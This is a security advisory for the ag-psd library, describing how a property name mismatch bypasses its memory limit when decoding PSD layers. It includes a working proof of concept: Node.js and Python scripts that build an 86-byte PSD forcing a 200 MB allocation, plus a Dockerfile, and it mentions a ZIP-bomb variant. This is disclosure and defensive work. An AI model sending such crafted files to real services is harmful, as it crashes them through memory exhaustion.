Vulnerability GHSA-6w3r-6hpr-hp6p
Summary
ag-psd: Uncontrolled Memory Allocation in PSD Layer Decoding (totalMemoryLimit bypass)
Details
Summary
The readPsd() function in ag-psd accepts a totalMemoryLimit option to cap memory usage when parsing untrusted PSD files, but this limit is never forwarded to the layer image buffer allocation path. A property name mismatch (totalMemoryLimit vs. memoryLimit) causes the size guard inside createImageDataBitDepth to be skipped unconditionally. An attacker who can supply a crafted PSD to any application using ag-psd for server-side parsing can force an unbounded heap allocation — a 5000×5000 layer in a 86-byte file allocates 200 MB — leading to denial of service through process memory exhaustion regardless of what limit the caller specified.
Details
readPsd() (exported from src/index.ts:22) wraps caller-supplied bytes in a PsdReader object that inherits ReadOptions, which defines totalMemoryLimit?: number (src/psd.ts:1819). A default of 2 GB is written into the reader at src/psdReader.ts:237.
When the parser reaches a layer, it calls decodeLayerImageData(layer, reader) at src/psdReader.ts:568-569, passing the reader object directly as the second argument. The decodeLayerImageData function signature is:
// src/psdReader.ts:639-642
function decodeLayerImageData(layer: Layer, options: {
useImageData?: boolean,
throwForMissingFeatures?: boolean,
memoryLimit?: number // ← expects "memoryLimit", not "totalMemoryLimit"
}) {
const imageData = getDataFromLayer(layer, ..., options.memoryLimit);
Because reader has totalMemoryLimit but not memoryLimit, options.memoryLimit evaluates to undefined. This value is passed down to createImageDataBitDepth at src/psdReader.ts:684:
// src/psdReader.ts:671-684
const layerWidth = (layer.right || 0) - (layer.left || 0);
const layerHeight = (layer.bottom || 0) - (layer.top || 0);
// ...
imageData = createImageDataBitDepth(layerWidth, layerHeight, bitsPerChannel, 4, memoryLimit);
Inside createImageDataBitDepth, the size guard at src/psdReader.ts:861-864 is:
const sizeInBytes = width * height * channels * Math.max(1, bitDepth / 8);
if (memoryLimit !== undefined && sizeInBytes > memoryLimit) throw new Error('Exceeded memory limit');
Because memoryLimit is undefined, the condition is always false. The allocation proceeds unconditionally at src/psdReader.ts:872:
return new Uint16Array(width * height * channels); // attacker-controlled size
A secondary unbounded allocation exists at src/psdReader.ts:1138-1139, where inflateSync(compressed) decompresses ZIP-encoded channel data without any cap on the output size, enabling a similar DoS via ZIP bomb payloads.
PoC
Environment setup
# Clone and build ag-psd at the affected commit
git clone https://github.com/Agamnentzar/ag-psd.git
cd ag-psd
git checkout e64f0c96a5b8f9ea7c79599d08bbcfc57345b781
npm ci
npm run build
Build and run with Docker (self-contained)
# From the report directory (containing vuln-001/ and repo/)
docker build -t ag-psd-vuln-001 -f vuln-001/Dockerfile .
docker run --rm -e APP_DIR=/app -e RESULT_DIR=/tmp ag-psd-vuln-001
Manual reproduction (Node.js inline)
// save as exploit.js and run: node exploit.js
require('./initialize-canvas');
const { readPsd } = require('./dist');
const u16 = n => { const b = Buffer.alloc(2); b.writeUInt16BE(n); return b; };
const i16 = n => { const b = Buffer.alloc(2); b.writeInt16BE(n); return b; };
const u32 = n => { const b = Buffer.alloc(4); b.writeUInt32BE(n); return b; };
const i32 = n => { const b = Buffer.alloc(4); b.writeInt32BE(n); return b; };
const sec = (buf, r = 1) => Buffer.concat([u32(buf.length), buf, Buffer.alloc((r - buf.length % r) % r)]);
const w = 5000, h = 5000;
// Layer record: top=0, left=0, bottom=5000, right=5000, 0 channels, blending info, extra=0
const layer = Buffer.concat([
i32(0), i32(0), i32(h), i32(w),
u16(0),
Buffer.from('8BIMnorm'),
Buffer.from([255, 0, 0, 0]),
u32(0),
]);
// PSD header: sig, version=1, reserved, channels=3, height=1, width=1, depth=16, colorMode=RGB
const psd = Buffer.concat([
Buffer.from('8BPS'), u16(1), Buffer.alloc(6),
u16(3), u32(1), u32(1), u16(16), u16(3),
sec(Buffer.alloc(0)), // ColorModeData
sec(Buffer.alloc(0)), // ImageResources
sec(sec(Buffer.concat([i16(1), layer]), 2)), // LayerAndMaskInfo
u16(0), Buffer.alloc(6), // ImageData (raw, minimal)
]);
const before = process.memoryUsage();
const out = readPsd(psd, { useImageData: true, totalMemoryLimit: 1024 });
const after = process.memoryUsage();
console.log('PSD_BYTES=' + psd.length); // 86
console.log('LAYER_IMAGE_BYTES=' + out.children[0].imageData.data.byteLength); // 200000000
console.log('ARRAYBUFFER_DELTA=' + (after.arrayBuffers - before.arrayBuffers)); // 200000000
Expected output
PSD_BYTES=86
TOTAL_MEMORY_LIMIT_OPTION=1024
LAYER_IMAGE_BYTES=200000000
ARRAYBUFFER_DELTA=200000000
RSS_BEFORE_KB=55052
RSS_AFTER_KB=250508
VULN_001_EXPLOITED=true
PASS: totalMemoryLimit=1024 was bypassed; allocated 200000000 bytes in a single layer image buffer
A 1 KB totalMemoryLimit is completely ignored; a 190 MB buffer is allocated from an 86-byte PSD file.
Impact
This is a Denial of Service (DoS) vulnerability. Any application that uses ag-psd to parse PSD files supplied by external users — such as web services offering PSD preview, conversion, or editing — is vulnerable. An unauthenticated remote attacker can send a single crafted PSD file (as small as 86 bytes) to exhaust process heap memory, causing the Node.js process to crash or be killed by the OS OOM killer. The totalMemoryLimit option, which is the only documented defense against this class of attack, is silently non-functional due to the property name mismatch. No authentication, credentials, or special privileges are required. The bug lies on the default parser path and is triggered whenever layer decoding is enabled (the default).
Reproduction artifacts
Dockerfile
FROM node:20-bullseye-slim
# Install build dependencies for native canvas module
RUN apt-get update && apt-get install -y \
python3 \
make \
g++ \
pkg-config \
libcairo2-dev \
libpango1.0-dev \
libjpeg-dev \
libgif-dev \
librsvg2-dev \
&& rm -rf /var/lib/apt/lists/*
WORKDIR /app
# Copy the ag-psd repository
COPY repo/ /app/
# Install dependencies and build TypeScript
RUN npm ci && npm run build
# Copy the PoC script
COPY vuln-001/poc.py /app/poc.py
# Install Python 3 (already available in bullseye)
RUN python3 --version
# Default command: run the PoC
CMD ["python3", "poc.py"]
poc.py
#!/usr/bin/env python3
"""
PoC for VULN-001: Uncontrolled Memory Allocation in ag-psd PSD Layer Decoding
(CWE-770 / totalMemoryLimit bypass via property name mismatch)
Attack summary:
readPsd(buffer, { totalMemoryLimit: 1024 }) is called with a 1 KB limit.
Internally, decodeLayerImageData(layer, reader) is called where `reader`
carries `totalMemoryLimit` but the function expects `memoryLimit`.
Because options.memoryLimit === undefined the size check is bypassed and a
5000x5000x4-channel Uint16Array (200 MB) is allocated from an 86-byte PSD.
"""
import struct
import subprocess
import sys
import os
import json
# ---------------------------------------------------------------------------
# Build a minimal valid 16-bit PSD with one 5000x5000 layer
# ---------------------------------------------------------------------------
def u16be(n: int) -> bytes:
return struct.pack(">H", n)
def i16be(n: int) -> bytes:
return struct.pack(">h", n)
def u32be(n: int) -> bytes:
return struct.pack(">I", n)
def i32be(n: int) -> bytes:
return struct.pack(">i", n)
def length_prefixed(data: bytes, align: int = 1) -> bytes:
"""Encode as 4-byte-length-prefixed section, padded to alignment."""
pad = (align - len(data) % align) % align
return u32be(len(data)) + data + b"\x00" * pad
def build_psd(width: int = 5000, height: int = 5000) -> bytes:
"""
Build the smallest PSD that triggers the vulnerability:
- 16-bit depth (bitsPerChannel=16) forces Uint16Array allocation
- layer bounds set to [top=0, left=0, bottom=height, right=width]
- totalMemoryLimit: 1024 bytes in readPsd options will be bypassed
Resulting allocation: width * height * 4 channels * 2 bytes = 200 MB
"""
# Layer record (28 bytes header + name/blending/channel-info)
layer_record = b"".join([
i32be(0), # top
i32be(0), # left
i32be(height), # bottom
i32be(width), # right
u16be(0), # channel count = 0 (no raw channel data needed
# to trigger allocation — createImageDataBitDepth
# is called based on dimensions alone)
# Blending range: signature + mode
b"8BIM",
b"norm",
# Opacity, clipping, flags, filler
bytes([255, 0, 0, 0]),
# Extra data length = 0
u32be(0),
])
# Layer info section: layer count (signed i16) + layer record
layer_info_inner = i16be(1) + layer_record
layer_info = length_prefixed(layer_info_inner, 2)
# Sections: ColorModeData, ImageResources, LayerAndMaskInfo, ImageData
color_mode_data = length_prefixed(b"")
image_resources = length_prefixed(b"")
layer_mask_info = length_prefixed(layer_info)
image_data = u16be(0) + b"\x00" * 6 # compression=raw + minimal data
# PSD file header: magic, version=1, reserved, channels, height, width,
# bitsPerChannel=16, colorMode=3 (RGB)
header = b"8BPS" + u16be(1) + b"\x00" * 6 + u16be(3) + u32be(1) + u32be(1) + u16be(16) + u16be(3)
psd = header + color_mode_data + image_resources + layer_mask_info + image_data
return psd
# ---------------------------------------------------------------------------
# Node.js script that calls readPsd and reports memory usage
# ---------------------------------------------------------------------------
NODE_SCRIPT = r"""
'use strict';
const APP_DIR = process.env.APP_DIR || '/app';
try { require(APP_DIR + '/dist/initializeCanvas.js'); } catch(e) {}
const { readPsd } = require(APP_DIR + '/dist/index.js');
const fs = require('fs');
// Read PSD bytes from stdin
const psd = fs.readFileSync('/tmp/poc.psd');
const before = process.memoryUsage();
let result;
try {
result = readPsd(psd, { useImageData: true, totalMemoryLimit: 1024 });
} catch (err) {
process.stderr.write('ERROR: ' + err.message + '\n');
process.exit(2);
}
const after = process.memoryUsage();
const layer = result && result.children && result.children[0];
const layerBytes = (layer && layer.imageData && layer.imageData.data)
? layer.imageData.data.byteLength
: 0;
const delta = after.arrayBuffers - before.arrayBuffers;
console.log('PSD_BYTES=' + psd.length);
console.log('TOTAL_MEMORY_LIMIT_OPTION=1024');
console.log('LAYER_IMAGE_BYTES=' + layerBytes);
console.log('ARRAYBUFFER_DELTA=' + delta);
console.log('RSS_BEFORE_KB=' + Math.round(before.rss / 1024));
console.log('RSS_AFTER_KB=' + Math.round(after.rss / 1024));
// Verdict
const exploited = layerBytes >= 100_000_000 || delta >= 100_000_000;
console.log('VULN_001_EXPLOITED=' + exploited);
if (!exploited) {
process.stderr.write('FAIL: memory limit was NOT bypassed (layerBytes=' + layerBytes + ', delta=' + delta + ')\n');
process.exit(1);
}
console.log('PASS: totalMemoryLimit=1024 was bypassed; allocated ' + layerBytes + ' bytes in a single layer image buffer');
process.exit(0);
"""
def main():
print("[*] VULN-001 PoC — ag-psd CWE-770 totalMemoryLimit bypass")
print("[*] Building crafted PSD (5000x5000 16-bit layer, no raw channel data)...")
psd_bytes = build_psd(5000, 5000)
poc_psd_path = "/tmp/poc.psd"
node_script_path = "/tmp/poc_runner.js"
with open(poc_psd_path, "wb") as f:
f.write(psd_bytes)
print(f"[*] PSD written to {poc_psd_path} ({len(psd_bytes)} bytes)")
with open(node_script_path, "w") as f:
f.write(NODE_SCRIPT)
print(f"[*] Node.js runner written to {node_script_path}")
# Run from /app where the ag-psd repo was built
app_dir = os.environ.get("APP_DIR", "/app")
print(f"[*] Running Node.js PoC from {app_dir} ...")
try:
proc = subprocess.run(
["node", node_script_path],
capture_output=True,
text=True,
timeout=60,
cwd=app_dir,
)
except subprocess.TimeoutExpired:
print("[-] Node.js process timed out (possible OOM or hang)")
sys.exit(1)
stdout = proc.stdout.strip()
stderr = proc.stderr.strip()
print("\n--- Node.js stdout ---")
print(stdout or "(empty)")
if stderr:
print("--- Node.js stderr ---")
print(stderr)
print("--- Exit code:", proc.returncode, "---\n")
# Parse key-value output lines
kv = {}
for line in stdout.splitlines():
if "=" in line:
k, _, v = line.partition("=")
kv[k.strip()] = v.strip()
exploited = kv.get("VULN_001_EXPLOITED", "false").lower() == "true"
layer_bytes = int(kv.get("LAYER_IMAGE_BYTES", "0"))
psd_bytes_reported = int(kv.get("PSD_BYTES", "0"))
memory_limit = int(kv.get("TOTAL_MEMORY_LIMIT_OPTION", "0"))
delta = int(kv.get("ARRAYBUFFER_DELTA", "0"))
print("=== VULNERABILITY ASSESSMENT ===")
print(f" PSD input size : {psd_bytes_reported} bytes")
print(f" totalMemoryLimit option: {memory_limit} bytes (1 KB)")
print(f" Layer image buffer : {layer_bytes:,} bytes ({layer_bytes // 1024 // 1024} MB)")
print(f" ArrayBuffer delta : {delta:,} bytes")
print(f" Limit bypassed : {'YES — VULNERABLE' if exploited else 'NO — limit was enforced'}")
if not exploited:
print("\n[FAIL] Exploitation did not succeed.")
result = {
"passed": False,
"verdict": "FAIL",
"reason": "PoC 실행에서 메모리 제한 우회가 관측되지 않음. totalMemoryLimit이 예상과 달리 적용된 것으로 보임.",
"build_command": "docker build -t ag-psd-vuln-001 -f vuln-001/Dockerfile .",
"run_command": "docker run --rm ag-psd-vuln-001",
"poc_command": "python3 poc.py",
"evidence": stdout + ("\n" + stderr if stderr else ""),
"artifacts": ["Dockerfile", "poc.py"],
}
else:
print("\n[PASS] VULN-001 confirmed: totalMemoryLimit=1024 was bypassed.")
print(f" Allocated {layer_bytes // 1_000_000} MB from a {psd_bytes_reported}-byte PSD.")
result = {
"passed": True,
"verdict": "PASS",
"reason": (
f"totalMemoryLimit=1024(1KB) 옵션이 설정되었음에도 {layer_bytes:,}바이트({layer_bytes // 1_000_000}MB)의 레이어 이미지 버퍼가 할당됨. "
f"decodeLayerImageData(layer, reader)에서 reader.totalMemoryLimit이 options.memoryLimit으로 전달되지 않아 "
f"createImageDataBitDepth 내부의 사이즈 검사가 완전히 우회되는 것이 컨테이너 실행에서 관측적으로 확인됨."
),
"build_command": "docker build -t ag-psd-vuln-001 -f vuln-001/Dockerfile .",
"run_command": "docker run --rm ag-psd-vuln-001",
"poc_command": "python3 poc.py",
"evidence": stdout,
"artifacts": ["Dockerfile", "poc.py"],
}
result_path = os.path.join(
os.environ.get("RESULT_DIR", "/tmp"), "phase2_result.json"
)
with open(result_path, "w", encoding="utf-8") as f:
json.dump(result, f, ensure_ascii=False, indent=2)
print(f"\n[*] Result written to {result_path}")
sys.exit(0 if exploited else 1)
if __name__ == "__main__":
main()